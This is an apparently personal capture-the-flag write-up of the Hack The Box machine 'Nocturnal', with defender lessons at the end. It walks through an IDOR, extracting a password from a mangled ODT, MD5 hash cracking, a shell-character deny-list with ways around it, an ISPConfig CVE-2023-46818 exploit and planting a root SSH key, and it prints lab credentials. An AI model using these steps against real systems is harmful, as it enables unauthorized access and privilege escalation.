Nocturnal

INTRODUCTION

Nocturnal is the first box since HTB’s Season 7 ended. It makes for a nice ego boost after being pummeled by the last few boxes. The root blood on Nocturnal only took 21 minutes. While it took me substantially longer than that, I can confirm that this box is quite easy.

Recon is very simple. You wouldn’t be impacted too negatively by skipping web enumeration altogether. However, it is important to try out the target web app and get a feel for how it works. I pretty much just stumbled over everything I needed while playing around with the web app.

Foothold is very easy, as long as you were paying attention during recon. You will quickly discover a likely IDOR; verify its existence and you are already well on your way to a foothold. While it is tempting to fuzz the IDOR, there is a much smarter way to get what you need - but it might still need a little clever extraction! Once you find a way to open your loot, you’ll have credentials to the admin panel.

Oddly enough, the user flag has a substantial rabbit-hole. My recommendation is simple: try using the web app the “normal” way before you dive too deeply into exploiting any apparent vulnerabilities… it may be easier than you think to obtain what you need. After that, some easy password cracking will net you credentials to get your first shell on the target, along with the user flag.

The root flag is trivial. After forwarding a couple ports, we discover the exact version of the final application to target. It’s vulnerable to a well-documented CVE with plenty of PoC exploits around. All we need are credentials. Thankfully, we can re-use a password from earlier to let ourselves into the application and apply the PoC exploit, granting root access to the machine (and the root flag, of course!)

title picture

RECON

nmap scans

Port scan

I’ll start by setting up a directory for the box, with an nmap subdirectory. I’ll set $RADDR to the target machine’s IP and scan it with a TCP port scan over all 65535 ports:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Note the redirect to http://nocturnal.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No new info.

UDP scan

To be thorough, I’ll also do a scan over the common UDP ports. UDP scans take quite a bit longer, so I limit it to only common ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

No new info.

Webserver Strategy

Noting the redirect from the nmap scan, I’ll add [domain].htb to my /etc/hosts and do banner-grabbing for the web server:

DOMAIN=boxname.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

whatweb

Nothing very interesting there.

(Sub)domain enumeration

Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate domains at this address:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results.

Next I’ll check for subdomains of nocturnal.htb:

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that either.

Directory enumeration

I’ll move on to directory enumeration. First, on http://nocturnal.htb:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/wordlists/dirs-and-files.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

directory enum

Exploring the Website

Next I’ll browse the target website manually a little.

I find it’s really helpful to turn on a web proxy while I browse the target for the first time, so I’ll turn on FoxyProxy and open up ZAP.

Sometimes this has been key to finding hidden aspects of a website, but it has the side benefit of taking highly detailed notes, too 😉

It looks like the target is some kind of file upload / backup / sharing site.

index page

After registration (I registered jimbob : Password123!) and login, we’re shown a page to upload a file:

file upload page

Now, in ZAP, I’ll add the target nocturnal.htb and all of its subdomains to the Default Context proceed to “Spider” the website (actively build a sitemap by following all of the links and references to other pages). The resulting sitemap looked like this:

sitemap

Registration, login, and the dashboard that has a file upload - that’s all! It looks like there are no links to admin.php or /backups, which we saw during directoy enumeration.

File Upload

I thought that the filetypes they listed on the index page were just examples, but actually they were quite literal - upon trying to upload a .png image, I’m met with this error message:

“Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.”

Alright then, let’s upload a PDF:

uploaded pdf

Seems like it worked. Check out the link it provides. The resulting page contains a list of links (all of my uploaded files). But check out the link destination: it contains not only the filename but also the username.

🤔 Is it trusting the username we provide in the web request? If so, this would indicate an IDOR.

FOOTHOLD

🚫 XXE

What do pdf, docx, xlsx, and odt files have in common? Underneath, they are all XML. Perhaps we can use XXE to read the source code?

I give a higher priority to testing vulnerabilities where I get a quick, clear indication of the result. XXE is definitely one of those

TODO

IDOR

Simulated test

First, I’ll register another user in a private/incognito window (so that the two users are simultaneously logged in, each with a different PHPSESSID). I registered jimbob2 : Password123! and once again uploaded test.pdf:

jimbob2 saved file

Note the URL of the uploaded file. Let’s see if we can utilize the initial (jimbob) session to access the jimbob2 file:

I’ll do this in ZAP for maximum clarity and logging

IDOR check

😮 Confirmed! We are able to read the PDF contents from the jimbob session: so we know there is an IDOR vulnerability.

To abuse this, we’ll need to know some other valid usernames first…

Username oracle

A great place to check if a username is already “taken”, especially when there is no email verification, is to register a bunch of users and see if registration was successful. I’ll register a user with some placeholder values, then proxy it through ZAP.

We can run it through the Fuzz tool and specify a simple wordlist of usernames. I’m using a combination of these two wordlists:

  • /usr/share/seclists/Usernames/000-usernames-short.txt
  • /usr/share/seclists/Usernames/Names/names.txt (I know @Fismathack often uses person names as usernames)

ZAP fuzz for usernames

After we run the Fuzz tool, we can clearly sort the results by response code to see that one of the usernames was already taken 😉

The responses for these ones included the error message “Failed to register user.”, indicating the username was already taken.

found some users

👍 Perfect - now we have a proven IDOR vulnerability, and a username to abuse it with.

🚫 Fuzzing for files

My initial reaction is to fuzz for files:

FILENAMES=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
EXT="$PWD/document_extensions.lst"
vim "$EXT"  # contains: pdf, doc, docx, xls, xlsx, odt
USERS="$PWD/known_users.lst"
vim "$USERS"  # contains: admin, amanda, test, tobias
COOKIE="PHPSESSID=t1nh3lkha7nhnml7kq3sgf6q7f"  # Got from jimbob session
ffuf -w $FILENAMES:FILENAME -w $EXT:EXTENSION -w $USERS:USERNAME \
-u "http://nocturnal.htb/view.php?username=USERNAME&file=FILENAME.EXTENSION" \
-b "$COOKIE" -t 40 -ic -c -timeout 4 -mc 200 -fs 3037 -v

… but even when using this reasonably short wordlist for filenames, this results in a search space of 918,408 requests 😱

At ~400 req/s, it would take roughly 45 minutes to perform this fuzzing.

Someone already got root blood and it only took them ~20 minutes total… so clearly this is not the right approach!

As it turns out, there is a much better way.

Listing files directly

While I was playing around with fuzzing for each users’ files, I stumbled across a much better method for finding files.

The IDOR I found is more useful than I initially thought; as long as a valid username and valid file extension are provided, it doesn’t matter if the filename exists - view.php will list out whatever files that user has stored, completely unauthenticated:

Below, we’ve tried to access a file from jimbob called whatever.pdf, and we’re shown a listing of the valid files 👇

IDOR listing files 1

We can get lists of each users’ files by checking each:

⭐ The only file I found using this method was using amanda:

amanda files

Opening the file

It was exciting to find a file using this method, but my excitement quickly disappeared when I opened the file in LibreOffice; it’s just a bunch of junk data:

privacy.odt junk data

🤔 But there’s a few things in there that look like they might be HTTP. Is this document just formatted wrong, or missing its magic bytes maybe? Here’s how it looks in hexedit:

privacy.odt hexedit

Ah, I see what happened. Even though they uploaded an odt file, it somehow got jumbled into a bunch of HTML as well.

Magic Bytes: ODT

Identification of files (think methods like MIME type) often depend on a signature placed at the beginning (and sometimes the end) of a file.

While there are many sources of this info, I’ve found that the Wikipedia page is a pretty good reference. Here’s what it has to say about the .odt format:

magic bytes for odt

Therefore, if we were to make an .odt document and check the first four bytes using something like hexedit, we would see one of the four-byte combinations shown in the above diagram.

If we look further into the file, we can clearly see where the HTML ends and the “uploaded” file begins:

privacy.odt hexedit magic bytes

Perfect, that’s exactly as expected. the 0x50 is at address 0xB67 (check the bottom of the hexedit pane). Using a simple dd operation, we should be able to extract the correct data - we can just copy the file, skipping 2919 (decimal of 0xB67) bytes :

dd ibs=1 skip=2919 if=privacy.odt of=privacy-trimmed.odt
# 20477+0 records in
# 39+1 records out
# 20477 bytes (20 kB, 20 KiB) copied, 0.0168969 s, 1.2 MB/s
open privacy-trimmed.odt

Now, we can see the true contents of the file:

amanda temp password

🎉 There’s a password inside: arHkG7HAI68X8s1J

Credential Reuse

With any luck, this password can be used for SSH. To be thorough, let’s check all of the known accounts and for both of the known services:

ServiceUser
SSHadmin
SSHamanda
SSHtest
SSHtobias
Nocturnaladmin
Nocturnalamanda
Nocturnaltest
Nocturnaltobias

While not as great as SSH, I’m relieved that the credential is still valid.

Dashboard - Amanda

Logging in as amanda, we can see a clear difference in the dashboard:

amanda dashboard

USER FLAG

Admin Panel

What has access to the Admin Panel gained for us?

It looks like there is some kind of backup functionality, and we can password-protect our backups. Also, it seems like we have the ability to read the source code for the whole application:

Admin dashboard

I’ll quickly read through each of the PHP files listed here, and see if there’s any “functionality” that we haven’t yet noticed.

🚫 Code Analysis

This section is interesting if you enjoy PHP code. Below, I discover a command injection vulnerability and the author’s inadequate attempt to mitigate it.

If you are interested in deny-list bypasses for “bad characters”, read on. Otherwise, skip to Backup File section.

dashboard.php

The important thing to learn from dashboard.php is about the database - where the database is located, and how it is accessed. We can also see that there was probably no way around the file extension allow-listing, therefore no File Upload vulnerability:

<?php
// ...
$db = new SQLite3('nocturnal_database.db');
// ...
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $target_dir = "uploads/";
    $file_name = basename($_FILES["fileToUpload"]["name"]);
    $target_file = $target_dir . $file_name;
    $file_type = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    $allowed_types = array("pdf", "doc", "docx", "xls", "xlsx", "odt");
    if (in_array($file_type, $allowed_types)) {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            $stmt = $db->prepare("INSERT INTO uploads (user_id, file_name) VALUES (:user_id, :file_name)");
            $stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);
            $stmt->bindValue(':file_name', $file_name, SQLITE3_TEXT);
            $stmt->execute();
        } else {
            echo "Error uploading file.";
        }
    } else {
        echo "Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed.";
    }
}
// ...

They’ve also included some mitigation against stored XSS.

login.php

The login.php file mostly just informs us of the location of passwords, and the hashing algorithm (MD5):

$db = new SQLite3('nocturnal_database.db');
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];
    $stmt = $db->prepare("SELECT * FROM users WHERE username = :username");
    $stmt->bindValue(':username', $username, SQLITE3_TEXT);
    $result = $stmt->execute()->fetchArray();
    if ($result && md5($password) === $result['password']) {
        $_SESSION['user_id'] = $result['id'];
        $_SESSION['username'] = $username;
        header('Location: dashboard.php');
        exit();
    } else {
        $error = 'Invalid username or password.';
    }
}

others

register.php, view.php, index.php, and logout.php don’t really tell us anything new. They work mostly as expected. We can take a look at the sensitive information disclosure vulnerability (unauthenticated listing of files) that they introduced through view.php:

$db = new SQLite3('nocturnal_database.db');
$username = $_GET['username'];
$file = basename($_GET['file']);
// ...
$stmt = $db->prepare('SELECT id FROM users WHERE username = :username');
$stmt->bindValue(':username', $username, SQLITE3_TEXT);
$result = $stmt->execute();
if ($row = $result->fetchArray()) {
    $user_id = $row['id'];
    $stmt = $db->prepare('SELECT * FROM uploads WHERE user_id = :user_id AND file_name = :file');
    $stmt->bindValue(':user_id', $user_id, SQLITE3_INTEGER);

admin.php

Last, but definitely not least, we can take a look at admin.php. It’s worth noting that admin and amanda are both hardcoded as being the only users to access the Admin Panel:

<?php
session_start();
if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
    header('Location: login.php');
    exit();
}
// ...
function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];
    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }
    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}
?>

<!DOCTYPE html>
<html lang="en">
<!-- SNIP -->
<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";
    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];
        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }
        sleep(2);
        $logContents = file_get_contents($logFile);
        if (strpos($logContents, 'zip error') === false) {
            echo "<div class='backup-success'>";
            echo "<p>Backup created successfully.</p>";
            echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
            echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
            echo "</div>";
        } else {
            echo "<div class='error-message'>Error creating the backup.</div>";
        }
        unlink($logFile);
    }
}
?>
</html>

Can you see the vulnerability? There’s a call to proc_open($command, $descriptor_spec, $pipes) is made using a value (the $command variable) that is user-controllable.

🚨 This is the tell-tale sign of a command injection.

It looks like the developer has attempted to mitigate the command injection by writing the cleanEntry() function - but is their mitigation sufficient?

Command Injection

We’ll need to figure out a way to take a “backup”, somehow injecting a command into the password field. The trick is to bypass the characters in the deny-list:

$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

So how can we inject a command without using any of those characters?

Notably, they forgot to deny us access to <, >, (, and ). We can cause all kinds of havoc with just those:

  • Process substitution <(...)
    • spawn a subprocess and execute a command
  • Process capturing >(...)
    • Can be useful for running tr to perform character replacements
  • Input redirection <
    • Great for eliminating the need for spaces, ex. cat</etc/passwd
  • Output redirection >
    • ex. write a webshell into the current directory
  • Heredoc operator <<
    • create a multiline file: possibly useful alongside output redirection
  • Append redirection >>
    • append to an existing file, like ~/.ssh/authorized_keys

👿 I may explore this more later.

Backup file

As mentioned earlier, the Admin Panel allows us to do two things: read the source code, and take backups. We’ve already read through the source code extensively (and discovered a command injection vulnerability), but in my excitement I skipped over the backup-taking functionality.

Let’s try it out now. All we need to do is supply a password:

took a backup

Seems fine. We’re able to download the backup file, a password-protected zip file. As shown in the screenshot, the backup contains the database, nocturnal_database.db. I’ll downloaded it and extracted it.

unzip backup_2025-04-13.zip
cd backup_2025-04-13
sqlite3 nocturnal_database.db

We already know exactly where the password hashes are (and what algorithm they’re in), but checking the .schema never hurts:

.schema

schema of db

Now let’s grab the hashes in a format we can use directly with hashcat:

.mode csv
.separator :
select username, password from users;

hashes in db

Fantastic, we can just copy-paste those into a file and start cracking. Raw, unsalted MD5 hashes use hashcat mode 0.

# paste in the hashes: 
vim nocturnal_db.hashes
hashcat -m 0 nocturnal_db.hashes /usr/share/wordlists/rockyou.txt --username

Almost instantly, we cracked one:

cracked tobias hash

For sake of copy-pasting, that credential is tobias : slowmotionapocalypse

Let’s check for credential reuse again:

ServiceUser
Nocturnaladmin
Nocturnaltobias
SSHadmin
SSHamanda
SSHtobias

It looks like tobias doesn’t have anything uploaded to the Nocturnal web app, but thankfully this credential does let us into SSH:

ssh as tobias

The SSH connection drops us into /home/tobias, adjacent to the user flag. Simply cat it out for the points:

cat user.txt

ROOT FLAG

Local enumeration - tobias

This box has a strange set of users with a shell:

id && cat /etc/passwd | grep -v nologin | grep -v /bin/false | grep -vE '^sync:'
# uid=1000(tobias) gid=1000(tobias) groups=1000(tobias)
# root:x:0:0:root:/root:/bin/bash
# tobias:x:1000:1000:tobias:/home/tobias:/bin/bash
# ispapps:x:1001:1002::/var/www/apps:/bin/sh
# ispconfig:x:1002:1003::/usr/local/ispconfig:/bin/sh

From a bit of research, it looks like the ispapps and ispconfig users are service accounts, used similarly to www-data, but a little more granular in permissions. There’s also a service called ispconfig that’s scheduled to run on startup.

There are a few services listening locally:

netstat -tulpn

netstat

There is another HTTP server on port 8080 (perhaps just behind a reverse proxy from port 80?), but we can also see SMTP running on ports 25 and 587. There’s also MySQL on port 3306.

Noting this, let’s reconnect and forward ports 25, 587, 3306, and 8080:

exit
ssh -L 25:localhost:25 \
-L 587:localhost:587 \
-L 3306:localhost:3306 \
-L 8080:localhost:8080 \
tobias@nocturnal.htb

We don’t yet have any credentials for MySQL, so I’ll check out port 8080 first.

ISPConfig

Port 8080 isn’t just a static webpage, it looks like a whole web app. Is this the reason for the other three ports (SMTP and MySQL)?

ispconfig login page

We don’t have any credentials. I tried doing a password reset using tobias@nocturnal.htb : tobias, but apparently that user is not registered.

Thankfully, checking the page source reveals a hint about the version of ISPConfig that’s running:

ispconfig page source

Line 24 hints that we may be looking at version 3.2.

A quick web search for “ispconfig 3.2 CVE vulnerability exploit PoC” led me to several pages all talking about CVE-2023-46818. Can we utilize this?

CVE-2023-46818

The CVE looks like it is an authenticated RCE that can be used for privilege escalation. Judging by ps aux, we should be able to use this CVE to escalate to root, assuming we can find credentials for ISPConfig.

A vulnerability has been identified in ISPConfig versions prior to 3.2.11p1, allowing an authenticated administrator to execute PHP code via the language file editor. This occurs when the ‘admin_allow_langedit’ feature is enabled. If exploited, attackers can potentially manipulate the application’s code and gain unauthorized access to sensitive information or functionalities.

Credentials in the filesystem

I took a pretty thorough look around the filesystem and didn’t see any credentials. Nor did I see any backups or logs that might have the credentials hidden inside. Either set of credentials would be fine:

  • ISPConfig: log in directly to the web app.
  • MySQL: Assuming I have mysql root, just reset the admin password.

Default credentials

The official ISPConfig documentation is pretty easy to find. It looks like this project actually predates Github, so the code and documentation is hosted by the project itself. We know the target is running Ubuntu, so we can select the most applicable Quick Start Guide for our target.

Scrolling 90% of the way down that Quick Start Guide, we finally see a hint at some default credentials:

ispconfig default creds

The initial credentials are admin : admin, but the password has likely changed. Let’s try some likely candidates:

UsernamePassword
adminadmin
adminroot
adminispconfig
tobiastobias
adminslowmotionapocalypse
tobiasslowmotionapocalypse

👏 Excellent - the credentials to ISPConfig were simply admin : slowmotionapocalypse.

ISPConfig dashboard

Since I’ve already identified a CVE that can be exploited for privilege escalation, I won’t bother looking around the web app too much. Instead, let’s just point-and-shoot one of the PoCs:

cd exploit
git clone https://github.com/bipbopbup/CVE-2023-46818-python-exploit.git
cd CVE-2023-46818-python-exploit
python3 ./exploit.py "http://localhost:8080" "admin" "slowmotionapocalypse"

It’s essentially just a webshell, but it seems to work fine:

successful root exploit

🎉 Easy! Now we can read the flag:

cat /root/root.txt

EXTRA CREDIT

Planting an SSH Key

I’d rather have SSH access to the root user than depend on an exploit. Since we don’t have any clue for the root credentials, it makes sense to just plant the key.

On the attacker box, generate a fresh keypair. This will result in ./id_rsa and ./id_rsa.pub:

ssh-keygen -t rsa -b 4096 -f ./id_rsa -N '0sprey'

generated ssh keys

It’s convenient to transfer the pubkey in base64 format:

cat ./id_rsa.pub | base64 -w 0
# COPY the result to clipboard

Using the exploit’s webshell, we can plant the key:

echo -n '[PASTE]' | base64 -d >> /root/.ssh/authorized_keys

Now, we should be able to log in over SSH just using our private key:

ssh -i ./id_rsa root@nocturnal.htb

ssh as root

We have mail, apparently? 👀

cat /var/mail/root

root mail

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.4wayhs

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/backup_2025-04-13.zip

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

two crossed swords

Attacker

  • 🎭 Try normal usage before attempting to exploit the target. While exploiting the IDOR with users’ uploaded files, I initially didn’t see the opportunity for listing files by providing an incorrect filename. Playing with the web app more in a “normal” way would have led me to this conclusion much faster. Applying the same mindset to the Admin Panel would have led me towards downloading a backup “normally” before diving into command injection.

  • ♻️ Credential reuse should always be tested first. Checking for credential reuse is easy. Often, it can even be automated. Checking for credential reuse can save you from doing a lot more enumeration and searching than you otherwise might.

two crossed swords

Defender

  • 🐪 Every operation that accesses or modifies sensitive data must be authorized. Sometimes, from the developer perspective, it is difficult to anticipate what data might be “sensitive”. When in doubt, treat every effect (or side-effect) of an authenticated user’s interactions as “sensitive” by default. The artifacts of those effects / side-effects should only be accessible past some kind of authorization mechanism.

  • 😶 Prevent command injections before they start. In Nocturnal we encountered a command injection from the Backup feature on the Admin Panel. Instead of writing a homemade function to stop command injection, it would have been better to simple apply escapeshellarg() to the input.

  • 🚧 Define a boundary between levels of privilege. The ISPConfig app was ran by the root account. As per the documentation, this is a requirement of the software itself. As is often the case with PHP-based applications, it wasn’t hard to find a way to force arbitrary code execution running within the app’s context. It would have been better to have a full separation between the app and any low-privilege users like tobias.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake